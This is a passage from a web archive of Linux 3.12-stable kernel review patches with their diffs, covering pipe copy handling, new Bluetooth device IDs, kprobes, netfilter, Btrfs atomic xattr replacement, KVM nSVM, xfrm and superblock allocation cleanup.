copy; iov->iov_len -= copy; }
@@ -395,7 +399,7 @@ pipe_read(struct kiocb *iocb, const struct iovec *_iov,struct pipe_buffer *buf = pipe->bufs + curbuf;const struct pipe_buf_operations *ops = buf->ops;void *addr; -size_t chars = buf->len; +size_t chars = buf->len, remaining;int error, atomic;if (chars > total_len)
@@ -409,9 +413,11 @@ pipe_read(struct kiocb *iocb, const struct iovec *_iov, } atomic = !iov_fault_in_pages_write (iov, chars); + remaining = chars; redo: addr = ops->map (pipe, buf, atomic); - error =pipe_iov_copy_to_user (iov, addr + buf->offset, chars, atomic); + error =pipe_iov_copy_to_user (iov, addr, &buf->offset, + &remaining, atomic); ops->unmap (pipe, buf, addr);if (unlikely (error)) {/*
@@ -426,7 +432,6 @@ redo:break ; } ret += chars; - buf->offset += chars; buf->len -= chars;/* Was it a packet buffer? Clean up and exit */
@@ -531,6 +536,7 @@ pipe_write(struct kiocb *iocb, const struct iovec *_iov,if (ops->can_merge && offset + chars <=PAGE_SIZE ) {int error, atomic =1 ;void *addr; +size_t remaining = chars; error = ops->confirm (pipe, buf);if (error)
@@ -539,8 +545,8 @@ pipe_write(struct kiocb *iocb, const struct iovec *_iov,iov_fault_in_pages_read (iov, chars); redo1: addr = ops->map (pipe, buf, atomic); - error =pipe_iov_copy_from_user (offset + addr, iov, - chars, atomic); + error =pipe_iov_copy_from_user (addr, &offset, iov, + &remaining, atomic); ops->unmap (pipe, buf, addr); ret = error; do_wakeup =1 ;
@@ -575,6 +581,8 @@ redo1:struct page *page = pipe->tmp_page;char *src;int error, atomic =1 ; +int offset =0 ; +size_t remaining;if (!page) { page =alloc_page (GFP_HIGHUSER );
@@ -595,14 +603,15 @@ redo1: chars = total_len;iov_fault_in_pages_read (iov, chars); + remaining = chars; redo2:if (atomic) src =kmap_atomic (page);else src =kmap (page); - error =pipe_iov_copy_from_user (src, iov, chars, - atomic); + error =pipe_iov_copy_from_user (src, &offset, iov, + &remaining, atomic);if (atomic)kunmap_atomic (src);else
Signature · 1 line
2.4.6
PATCH 63/124 Bluetooth: ath3k: add support of 04ca:300f AR3012 device
In reply to Jiri SlabyFrom: Dmitry Tunin <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit ec0810d2ac1c932dad48f45da67e3adc5c5449a1 upstream.
T: Bus=01 Lev=01 Prnt=01 Port=04 Cnt=02 Dev#= 3 Spd=12 MxCh= 0 D: Ver= 1.10 Cls=e0(wlcon) Sub=01 Prot=01 MxPS=64 #Cfgs= 1 P: Vendor=04ca ProdID=300f Rev=00.01 C: #Ifs= 2 Cfg#= 1 Atr=e0 MxPwr=100mA I: If#= 0 Alt= 0 #EPs= 3 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb I: If#= 1 Alt= 0 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
--- drivers/bluetooth/ath3k.c | 2 ++ drivers/bluetooth/btusb.c | 1 + 2 files changed, 3 insertions(+)
drivers/bluetooth/ath3k.c +2 -0
@@ -89,6 +89,7 @@ static struct usb_device_id ath3k_table[] = { { USB_DEVICE(0x04CA, 0x3007) }, { USB_DEVICE(0x04CA, 0x3008) }, { USB_DEVICE(0x04CA, 0x300b) }, + { USB_DEVICE(0x04CA, 0x300f) }, { USB_DEVICE(0x04CA, 0x3010) }, { USB_DEVICE(0x0930, 0x0219) }, { USB_DEVICE(0x0930, 0x0220) },
@@ -145,6 +146,7 @@ static struct usb_device_id ath3k_blist_tbl[] = { { USB_DEVICE(0x04ca, 0x3006), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x04ca, 0x3008), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x04ca, 0x300b), .driver_info = BTUSB_ATH3012 }, + { USB_DEVICE(0x04ca, 0x300f), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x04ca, 0x3010), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x0930, 0x0219), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x0930, 0x0220), .driver_info = BTUSB_ATH3012 },
drivers/bluetooth/btusb.c +1 -0
@@ -166,6 +166,7 @@ static struct usb_device_id blacklist_table[] = { { USB_DEVICE(0x04ca, 0x3007), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x04ca, 0x3008), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x04ca, 0x300b), .driver_info = BTUSB_ATH3012 }, + { USB_DEVICE(0x04ca, 0x300f), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x04ca, 0x3010), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x0930, 0x0219), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x0930, 0x0220), .driver_info = BTUSB_ATH3012 },
Signature · 1 line
2.4.6
PATCH 64/124 Bluetooth: ath3k: Add a new ID 0cf3:e006 to ath3k list
In reply to Jiri SlabyFrom: Wen-chien Jesse Sung <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit ca79f232054abd079648fdb4400c71a1310f7bc8 upstream.
Device info in /sys/kernel/debug/usb/devices:
T: Bus=01 Lev=01 Prnt=01 Port=05 Cnt=02 Dev#= 3 Spd=12 MxCh= 0 D: Ver= 1.10 Cls=e0(wlcon) Sub=01 Prot=01 MxPS=64 #Cfgs= 1 P: Vendor=0cf3 ProdID=e006 Rev= 0.01 C:* #Ifs= 2 Cfg#= 1 Atr=e0 MxPwr=100mA I:* If#= 0 Alt= 0 #EPs= 3 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=81(I) Atr=03(Int.) MxPS= 16 Ivl=1ms E: Ad=82(I) Atr=02(Bulk) MxPS= 64 Ivl=0ms E: Ad=02(O) Atr=02(Bulk) MxPS= 64 Ivl=0ms I:* If#= 1 Alt= 0 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 0 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 0 Ivl=1ms I: If#= 1 Alt= 1 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 9 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 9 Ivl=1ms I: If#= 1 Alt= 2 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 17 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 17 Ivl=1ms I: If#= 1 Alt= 3 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 25 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 25 Ivl=1ms I: If#= 1 Alt= 4 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 33 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 33 Ivl=1ms I: If#= 1 Alt= 5 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 49 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 49 Ivl=1ms
--- drivers/bluetooth/ath3k.c | 2 ++ drivers/bluetooth/btusb.c | 1 + 2 files changed, 3 insertions(+)
drivers/bluetooth/ath3k.c +2 -0
@@ -106,6 +106,7 @@ static struct usb_device_id ath3k_table[] = { { USB_DEVICE(0x0cf3, 0xe003) }, { USB_DEVICE(0x0CF3, 0xE004) }, { USB_DEVICE(0x0CF3, 0xE005) }, + { USB_DEVICE(0x0CF3, 0xE006) }, { USB_DEVICE(0x13d3, 0x3362) }, { USB_DEVICE(0x13d3, 0x3375) }, { USB_DEVICE(0x13d3, 0x3393) },
@@ -163,6 +164,7 @@ static struct usb_device_id ath3k_blist_tbl[] = { { USB_DEVICE(0x0CF3, 0x817a), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x0cf3, 0xe004), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x0cf3, 0xe005), .driver_info = BTUSB_ATH3012 }, + { USB_DEVICE(0x0cf3, 0xe006), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x0cf3, 0xe003), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x13d3, 0x3362), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x13d3, 0x3375), .driver_info = BTUSB_ATH3012 },
drivers/bluetooth/btusb.c +1 -0
@@ -183,6 +183,7 @@ static struct usb_device_id blacklist_table[] = { { USB_DEVICE(0x0cf3, 0xe003), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x0cf3, 0xe004), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x0cf3, 0xe005), .driver_info = BTUSB_ATH3012 }, + { USB_DEVICE(0x0cf3, 0xe006), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x13d3, 0x3362), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x13d3, 0x3375), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x13d3, 0x3393), .driver_info = BTUSB_ATH3012 },
Signature · 1 line
2.4.6
PATCH 65/124 kprobes/x86: Return correct length in __copy_instruction()
In reply to Jiri SlabyFrom: Eugene Shatokhin <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit c80e5c0c23ce2282476fdc64c4b5e3d3a40723fd upstream.
On x86-64, __copy_instruction() always returns 0 (error) if the instruction uses %rip-relative addressing. This is because kernel_insn_init() is called the second time for 'insn' instance in such cases and sets all its fields to 0.
Because of this, trying to place a kprobe on such instruction will fail, register_kprobe() will return -EINVAL.
This patch fixes the problem.
--- arch/x86/kernel/kprobes/core.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-)
arch/x86/kernel/kprobes/core.c +5 -2
@@ -326,13 +326,16 @@ int __kprobes __copy_instruction(u8 *dest, u8 *src) {struct insn insn;kprobe_opcode_t buf[MAX_INSN_SIZE ]; +int length;kernel_insn_init (&insn, (void *)recover_probed_instruction (buf, (unsigned long )src));insn_get_length (&insn); + length = insn.length; +/* Another subsystem puts a breakpoint, failed to recover */ if (insn.opcode.bytes[0 ] ==BREAKPOINT_INSTRUCTION )return 0 ; -memcpy (dest, insn.kaddr, insn.length); +memcpy (dest, insn.kaddr, length);#ifdef CONFIG_X86_64 if (insn_rip_relative (&insn)) {
@@ -362,7 +365,7 @@ int __kprobes __copy_instruction(u8 *dest, u8 *src) *(s32 *) disp = (s32) newdisp; }#endif -return insn.length; +return length; }static int __kprobes arch_copy_kprobe (struct kprobe *p)
Signature · 1 line
2.4.6
PATCH 66/124 netfilter: nfnetlink_cthelper: Remove 'const' and '&' to avoid warnings
In reply to Jiri SlabyFrom: Chen Gang <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit b18c5d15e8714336365d9d51782d5b53afa0443c upstream.
The related code can be simplified, and also can avoid related warnings (with allmodconfig under parisc):
CC [M] net/netfilter/nfnetlink_cthelper.o
net/netfilter/nfnetlink_cthelper.c: In function ‘nfnl_cthelper_from_nlattr’:
net/netfilter/nfnetlink_cthelper.c:97:9: warning: passing argument 1 o ‘memcpy’ discards ‘const’ qualifier from pointer target type [-Wdiscarded-array-qualifiers]
memcpy(&help->data, nla_data(attr), help->helper->data_len);
^
In file included from include/linux/string.h:17:0,
from include/uapi/linux/uuid.h:25,
from include/linux/uuid.h:23,
from include/linux/mod_devicetable.h:12,
from ./arch/parisc/include/asm/hardware.h:4,
from ./arch/parisc/include/asm/processor.h:15,
from ./arch/parisc/include/asm/spinlock.h:6,
from ./arch/parisc/include/asm/atomic.h:21,
from include/linux/atomic.h:4,
from ./arch/parisc/include/asm/bitops.h:12,
from include/linux/bitops.h:36,
from include/linux/kernel.h:10,
from include/linux/list.h:8,
from include/linux/module.h:9,
from net/netfilter/nfnetlink_cthelper.c:11:
./arch/parisc/include/asm/string.h:8:8: note: expected ‘void *’ but argument is of type ‘const char (*)[]’
void * memcpy(void * dest,const void *src,size_t count);
^--- net/netfilter/nfnetlink_cthelper.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-)
net/netfilter/nfnetlink_cthelper.c +2 -2
@@ -89,7 +89,7 @@ nfnl_cthelper_parse_tuple(struct nf_conntrack_tuple *tuple,static int nfnl_cthelper_from_nlattr (struct nlattr *attr,struct nf_conn *ct) { -const struct nf_conn_help *help =nfct_help (ct); +struct nf_conn_help *help =nfct_help (ct);if (attr ==NULL )return -EINVAL ;
@@ -97,7 +97,7 @@ nfnl_cthelper_from_nlattr(struct nlattr *attr, struct nf_conn *ct)if (help->helper->data_len ==0 )return -EINVAL ; -memcpy (&help->data,nla_data (attr), help->helper->data_len); +memcpy (help->data,nla_data (attr), help->helper->data_len);return 0 ; }
Signature · 1 line
2.4.6
PATCH 67/124 Btrfs: make xattr replace operations atomic
In reply to Jiri SlabyFrom: Filipe Manana <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 5f5bc6b1e2d5a6f827bc860ef2dc5b6f365d1339 upstream.
Replacing a xattr consists of doing a lookup for its existing value, delete the current value from the respective leaf, release the search path and then finally insert the new value. This leaves a time window where readers (getxattr, listxattrs) won't see any value for the xattr. Xattrs are used to store ACLs, so this has security implications.
This change also fixes 2 other existing issues which were:
*) Deleting the old xattr value without verifying first if the new xattr will
fit in the existing leaf item (in case multiple xattrs are packed in the same item due to name hash collision);
*) Returning -EEXIST when the flag XATTR_CREATE is given and the xattr doesn't
exist but we have have an existing item that packs muliple xattrs with the same name hash as the input xattr. In this case we should return ENOSPC.
A test case for xfstests follows soon.
Thanks to Alexandre Oliva for reporting the non-atomicity of the xattr replace implementation.
--- fs/btrfs/ctree.c | 2 +- fs/btrfs/ctree.h | 5 ++ fs/btrfs/dir-item.c | 10 ++-- fs/btrfs/xattr.c | 150 ++++++++++++++++++++++++++++++++-------------------- 4 files changed, 102 insertions(+), 65 deletions(-)
fs/btrfs/ctree.c +1 -1
@@ -2926,7 +2926,7 @@ done:*/ if (!p->leave_spinning)btrfs_set_path_blocking (p); -if (ret <0 ) +if (ret <0 && !p->skip_release_on_error)btrfs_release_path (p);return ret; }
fs/btrfs/ctree.h +5 -0
@@ -591,6 +591,7 @@ struct btrfs_path { unsigned int skip_locking:1; unsigned int leave_spinning:1; unsigned int search_commit_root:1; + unsigned int skip_release_on_error:1; };/*
@@ -3546,6 +3547,10 @@ struct btrfs_dir_item *btrfs_lookup_xattr(struct btrfs_trans_handle *trans,int verify_dir_item (struct btrfs_root *root,struct extent_buffer *leaf,struct btrfs_dir_item *dir_item); +struct btrfs_dir_item *btrfs_match_dir_item_name (struct btrfs_root *root, +struct btrfs_path *path, +const char *name, +int name_len);/* orphan.c */ int btrfs_insert_orphan_item(struct btrfs_trans_handle *trans,
fs/btrfs/dir-item.c +3 -7
@@ -21,10 +21,6 @@#include "hash.h" #include "transaction.h" -static struct btrfs_dir_item *btrfs_match_dir_item_name (struct btrfs_root *root, -struct btrfs_path *path, -const char *name,int name_len); -/* * insert a name into a directory, doing overflow properly if there is a hash * collision. data_size indicates how big the item inserted should be. On
@@ -383,9 +379,9 @@ struct btrfs_dir_item *btrfs_lookup_xattr(struct btrfs_trans_handle *trans,* this walks through all the entries in a dir item and finds one * for a specific name. */ -static struct btrfs_dir_item *btrfs_match_dir_item_name (struct btrfs_root *root, -struct btrfs_path *path, -const char *name,int name_len) +struct btrfs_dir_item *btrfs_match_dir_item_name (struct btrfs_root *root, +struct btrfs_path *path, +const char *name,int name_len) {struct btrfs_dir_item *dir_item;unsigned long name_ptr;
fs/btrfs/xattr.c +93 -57
190 lines not on this page · raw message
Signature · 1 line
2.4.6
PATCH 68/124 ARM: clk-imx6q: refine sata's parent
In reply to Jiri SlabyFrom: Sebastien Szymanski <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit da946aeaeadcd24ff0cda9984c6fb8ed2bfd462a upstream.
According to IMX6D/Q RM, table 18-3, sata clock's parent is ahb, not ipg.
--- arch/arm/mach-imx/clk-imx6q.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
arch/arm/mach-imx/clk-imx6q.c +1 -1
@@ -535,7 +535,7 @@ static void __init imx6q_clocks_init(struct device_node *ccm_node) clk[gpmi_io] =imx_clk_gate2 ("gpmi_io" ,"enfc" , base +0x78 ,28 ); clk[gpmi_apb] =imx_clk_gate2 ("gpmi_apb" ,"usdhc3" , base +0x78 ,30 ); clk[rom] =imx_clk_gate2 ("rom" ,"ahb" , base +0x7c ,0 ); - clk[sata] =imx_clk_gate2 ("sata" ,"ipg" , base +0x7c ,4 ); + clk[sata] =imx_clk_gate2 ("sata" ,"ahb" , base +0x7c ,4 ); clk[sdma] =imx_clk_gate2 ("sdma" ,"ahb" , base +0x7c ,6 ); clk[spba] =imx_clk_gate2 ("spba" ,"ipg" , base +0x7c ,12 ); clk[spdif] =imx_clk_gate2 ("spdif" ,"spdif_podf" , base +0x7c ,14 );
Signature · 1 line
2.4.6
PATCH 69/124 KVM: nSVM: Check for NRIPS support before updating control field
In reply to Jiri SlabyFrom: Bandan Das <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit f104765b4f81fd74d69e0eb161e89096deade2db upstream.
If hardware doesn't support DecodeAssist - a feature that provides more information about the intercept in the VMCB, KVM decodes the instruction and then updates the next_rip vmcb control field. However, NRIP support itself depends on cpuid Fn8000_000A_EDX[NRIPS]. Since skip_emulated_instruction() doesn't verify nrip support before accepting control.next_rip as valid, avoid writing this field if support isn't present.
--- arch/x86/kvm/svm.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-)
arch/x86/kvm/svm.c +6 -2
@@ -495,8 +495,10 @@ static void skip_emulated_instruction(struct kvm_vcpu *vcpu) {struct vcpu_svm *svm =to_svm (vcpu); -if (svm->vmcb->control.next_rip !=0 ) +if (svm->vmcb->control.next_rip !=0 ) { +WARN_ON (!static_cpu_has (X86_FEATURE_NRIPS )); svm->next_rip = svm->vmcb->control.next_rip; + }if (!svm->next_rip) { if (emulate_instruction(vcpu, EMULTYPE_SKIP) !=
@@ -4237,7 +4239,9 @@ static int svm_check_intercept(struct kvm_vcpu *vcpu,break ; } - vmcb->control.next_rip = info->next_rip; +/* TODO: Advertise NRIPS to guest hypervisor unconditionally */ +if (static_cpu_has (X86_FEATURE_NRIPS )) + vmcb->control.next_rip = info->next_rip; vmcb->control.exit_code = icpt_info.exit_code; vmexit =nested_svm_exit_handled (svm);
Signature · 1 line
2.4.6
PATCH 70/124 xfrm: release dst_orig in case of error in xfrm_lookup()
In reply to Jiri SlabyFrom: huaibin Wang <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit ac37e2515c1a89c477459a2020b6bfdedabdb91b upstream.
dst_orig should be released on error. Function like __xfrm_route_forward() expects that behavior.
Since a recent commit, xfrm_lookup() may also be called by xfrm_lookup_route(), which expects the opposite.
Let's introduce a new flag (XFRM_LOOKUP_KEEP_DST_REF) to tell what should be done in case of error.
--- include/net/dst.h | 1 + net/xfrm/xfrm_policy.c | 12 ++++++------ 2 files changed, 7 insertions(+), 6 deletions(-)
include/net/dst.h +1 -0
@@ -469,6 +469,7 @@ extern void dst_init(void);enum {XFRM_LOOKUP_ICMP =1 <<0 ,XFRM_LOOKUP_QUEUE =1 <<1 , +XFRM_LOOKUP_KEEP_DST_REF =1 <<2 , };struct flowi ;
net/xfrm/xfrm_policy.c +6 -6
@@ -2154,11 +2154,9 @@ restart:* have the xfrm_state's. We need to wait for KM to * negotiate new SA's or bail out with error.*/ if (net->xfrm.sysctl_larval_drop) { -dst_release (dst); -xfrm_pols_put (pols, drop_pols);XFRM_INC_STATS (net,LINUX_MIB_XFRMOUTNOSTATES ); - -return ERR_PTR (-EREMOTE ); + err = -EREMOTE ; + goto error; }if (fl->flowi_flags &FLOWI_FLAG_CAN_SLEEP ) {DECLARE_WAITQUEUE (wait, current);
@@ -2224,7 +2222,8 @@ nopol: error:dst_release (dst); dropdst: -dst_release (dst_orig); +if (!(flags &XFRM_LOOKUP_KEEP_DST_REF )) +dst_release (dst_orig);xfrm_pols_put (pols, drop_pols);return ERR_PTR (err); }
@@ -2238,7 +2237,8 @@ struct dst_entry *xfrm_lookup_route(struct net *net, struct dst_entry *dst_orig, struct sock *sk, int flags) {struct dst_entry *dst =xfrm_lookup (net, dst_orig, fl, sk, - flags |XFRM_LOOKUP_QUEUE ); + flags |XFRM_LOOKUP_QUEUE | +XFRM_LOOKUP_KEEP_DST_REF );if (IS_ERR (dst) &&PTR_ERR (dst) == -EREMOTE )return make_blackhole (net, dst_orig->ops->family, dst_orig);
Signature · 1 line
2.4.6
PATCH 71/124 uninline destroy_super(), consolidate alloc_super()
In reply to Jiri SlabyFrom: Al Viro <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 7eb5e8826911f2792179f99e77e75fbb7ef53a4a upstream.
--- fs/super.c | 206 ++++++++++++++++++++++++++----------------------------------- 1 file changed, 86 insertions(+), 120 deletions(-)
fs/super.c +86 -120
@@ -135,33 +135,27 @@ static unsigned long super_cache_count(struct shrinker *shrink,return total_objects; } -static int init_sb_writers (struct super_block *s,struct file_system_type *type) -{ -int err; -int i; - -for (i =0 ; i <SB_FREEZE_LEVELS ; i++) { - err =percpu_counter_init (&s->s_writers.counter[i],0 ); -if (err <0 ) - goto err_out; -lockdep_init_map (&s->s_writers.lock_map[i], sb_writers_name[i], - &type->s_writers_key[i],0 ); - } -init_waitqueue_head (&s->s_writers.wait); -init_waitqueue_head (&s->s_writers.wait_unfrozen); -return 0 ; -err_out: -while (--i >=0 ) -percpu_counter_destroy (&s->s_writers.counter[i]); -return err; -} - -static void destroy_sb_writers (struct super_block *s) +/** +* destroy_super - frees a superblock +* @s: superblock to free +* +* Frees a superblock. +*/ +static void destroy_super (struct super_block *s) {int i; - +list_lru_destroy (&s->s_dentry_lru); +list_lru_destroy (&s->s_inode_lru); +#ifdef CONFIG_SMP +free_percpu (s->s_files); +#endif for (i =0 ; i <SB_FREEZE_LEVELS ; i++)percpu_counter_destroy (&s->s_writers.counter[i]); +security_sb_free (s); +WARN_ON (!list_empty (&s->s_mounts)); +kfree (s->s_subtype); +kfree (s->s_options); +kfree (s); }/**
@@ -176,111 +170,83 @@ static struct super_block *alloc_super(struct file_system_type *type, int flags) {struct super_block *s =kzalloc (sizeof (struct super_block ),GFP_USER );static const struct super_operations default_op; +int i; + +if (!s) +return NULL ; -if (s) { -if (security_sb_alloc (s)) - goto out_free_sb; +if (security_sb_alloc (s)) + goto fail;#ifdef CONFIG_SMP - s->s_files = alloc_percpu(struct list_head); -if (!s->s_files) - goto err_out; -else { -int i; - -for_each_possible_cpu (i) -INIT_LIST_HEAD (per_cpu_ptr (s->s_files, i)); - } + s->s_files = alloc_percpu(struct list_head); +if (!s->s_files) + goto fail; +for_each_possible_cpu (i) +INIT_LIST_HEAD (per_cpu_ptr (s->s_files, i));#else -INIT_LIST_HEAD (&s->s_files); +INIT_LIST_HEAD (&s->s_files);#endif -if (init_sb_writers (s, type)) - goto err_out; - s->s_flags = flags; - s->s_bdi = &default_backing_dev_info; -INIT_HLIST_NODE (&s->s_instances); -INIT_HLIST_BL_HEAD (&s->s_anon); -INIT_LIST_HEAD (&s->s_inodes); - -if (list_lru_init (&s->s_dentry_lru)) - goto err_out; -if (list_lru_init (&s->s_inode_lru)) - goto err_out_dentry_lru; - -INIT_LIST_HEAD (&s->s_mounts); -init_rwsem (&s->s_umount); -lockdep_set_class (&s->s_umount, &type->s_umount_key); -/* -* sget() can have s_umount recursion. -* -* When it cannot find a suitable sb, it allocates a new -* one (this one), and tries again to find a suitable old -* one. -* -* In case that succeeds, it will acquire the s_umount -* lock of the old one. Since these are clearly distrinct -* locks, and this object isn't exposed yet, there's no -* risk of deadlocks. -* -* Annotate this by putting this lock in a different -* subclass. -*/ -down_write_nested (&s->s_umount,SINGLE_DEPTH_NESTING ); - s->s_count =1 ; -atomic_set (&s->s_active,1 ); -mutex_init (&s->s_vfs_rename_mutex); -lockdep_set_class (&s->s_vfs_rename_mutex, &type->s_vfs_rename_key); -mutex_init (&s->s_dquot.dqio_mutex); -mutex_init (&s->s_dquot.dqonoff_mutex); -init_rwsem (&s->s_dquot.dqptr_sem); - s->s_maxbytes =MAX_NON_LFS ; - s->s_op = &default_op; - s->s_time_gran =1000000000 ; - s->cleancache_poolid =-1 ; - - s->s_shrink.seeks =DEFAULT_SEEKS ; - s->s_shrink.scan_objects = super_cache_scan; - s->s_shrink.count_objects = super_cache_count; - s->s_shrink.batch =1024 ; - s->s_shrink.flags =SHRINKER_NUMA_AWARE ; +for (i =0 ; i <SB_FREEZE_LEVELS ; i++) { +if (percpu_counter_init (&s->s_writers.counter[i],0 ) <0 ) + goto fail; +lockdep_init_map (&s->s_writers.lock_map[i], sb_writers_name[i], + &type->s_writers_key[i],0 ); } -out: +init_waitqueue_head (&s->s_writers.wait); +init_waitqueue_head (&s->s_writers.wait_unfrozen); + s->s_flags = flags; + s->s_bdi = &default_backing_dev_info; +INIT_HLIST_NODE (&s->s_instances); +INIT_HLIST_BL_HEAD (&s->s_anon); +INIT_LIST_HEAD (&s->s_inodes); + +if (list_lru_init (&s->s_dentry_lru)) + goto fail; +if (list_lru_init (&s->s_inode_lru)) + goto fail; + +INIT_LIST_HEAD (&s->s_mounts); +init_rwsem (&s->s_umount); +lockdep_set_class (&s->s_umount, &type->s_umount_key); +/* +* sget() can have s_umount recursion. +* +* When it cannot find a suitable sb, it allocates a new +* one (this one), and tries again to find a suitable old +* one. +* +* In case that succeeds, it will acquire the s_umount +* lock of the old one. Since these are clearly distrinct +* locks, and this object isn't exposed yet, there's no +* risk of deadlocks. +* +* Annotate this by putting this lock in a different +* subclass. +*/ +down_write_nested (&s->s_umount,SINGLE_DEPTH_NESTING ); + s->s_count =1 ; +atomic_set (&s->s_active,1 ); +mutex_init (&s->s_vfs_rename_mutex); +lockdep_set_class (&s->s_vfs_rename_mutex, &type->s_vfs_rename_key); +mutex_init (&s->s_dquot.dqio_mutex); +mutex_init (&s->s_dquot.dqonoff_mutex); +init_rwsem (&s->s_dquot.dqptr_sem); + s->s_maxbytes =MAX_NON_LFS ; + s->s_op = &default_op; + s->s_time_gran =1000000000 ; + s->cleancache_poolid =-1 ; + + s->s_shrink.seeks =DEFAULT_SEEKS ; + s->s_shrink.scan_objects = super_cache_scan; + s->s_shrink.count_objects = super_cache_count; + s->s_shrink.batch =1024 ; + s->s_shrink.flags =SHRINKER_NUMA_AWARE ;return s; -err_out_dentry_lru: -list_lru_destroy (&s->s_dentry_lru); -err_out: -security_sb_free (s); -#ifdef CONFIG_SMP -if (s->s_files) -free_percpu (s->s_files); -#endif -destroy_sb_writers (s); -out_free_sb: -kfree (s); - s =NULL ; - goto out; -} - -/** -* destroy_super - frees a superblock -* @s: superblock to free -* -* Frees a superblock. -*/ -static inline void destroy_super (struct super_block *s) -{ -list_lru_destroy (&s->s_dentry_lru); -list_lru_destroy (&s->s_inode_lru); -#ifdef CONFIG_SMP -free_percpu (s->s_files); -#endif -destroy_sb_writers (s); -security_sb_free (s); -WARN_ON (!list_empty (&s->s_mounts)); -kfree (s->s_subtype); -kfree (s->s_options); -kfree (s); +fail: +destroy_super (s); +return NULL ; }/* Superblock refcounting */
Signature · 1 line
2.4.6
PATCH 72/124 get rid of s_files and files_lock
In reply to Jiri SlabyFrom: Al Viro <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit eee5cc2702929fd41cce28058dc6d6717f723f87 upstream.
The only thing we need it for is alt-sysrq-r (emergency remount r/o) and these days we can do just as well without going through the list of files.
--- fs/file_table.c | 125 ----------------------------------------------------- fs/internal.h | 3 -- fs/open.c | 2 - fs/super.c | 15 +------ include/linux/fs.h | 13 ------ 5 files changed, 2 insertions(+), 156 deletions(-)
fs/file_table.c +0 -125
@@ -36,8 +36,6 @@ struct files_stat_struct files_stat = { .max_files = NR_FILE }; -DEFINE_STATIC_LGLOCK (files_lglock); -/* SLAB cache for file structures */ static struct kmem_cache *filp_cachep__read_mostly ;
@@ -134,7 +132,6 @@ struct file *get_empty_filp(void)return ERR_PTR (error); } -INIT_LIST_HEAD (&f->f_u.fu_list);atomic_long_set (&f->f_count,1 );rwlock_init (&f->f_owner.lock);spin_lock_init (&f->f_lock);
@@ -304,7 +301,6 @@ void fput(struct file *file)if (atomic_long_dec_and_test (&file->f_count)) {struct task_struct *task = current; -file_sb_list_del (file);if (likely (!in_interrupt () && !(task->flags &PF_KTHREAD ))) {init_task_work (&file->f_u.fu_rcuhead, ____fput);if (!task_work_add (task, &file->f_u.fu_rcuhead, true))
@@ -333,7 +329,6 @@ void __fput_sync(struct file *file) {if (atomic_long_dec_and_test (&file->f_count)) {struct task_struct *task = current; -file_sb_list_del (file);BUG_ON (!(task->flags &PF_KTHREAD ));__fput (file); }
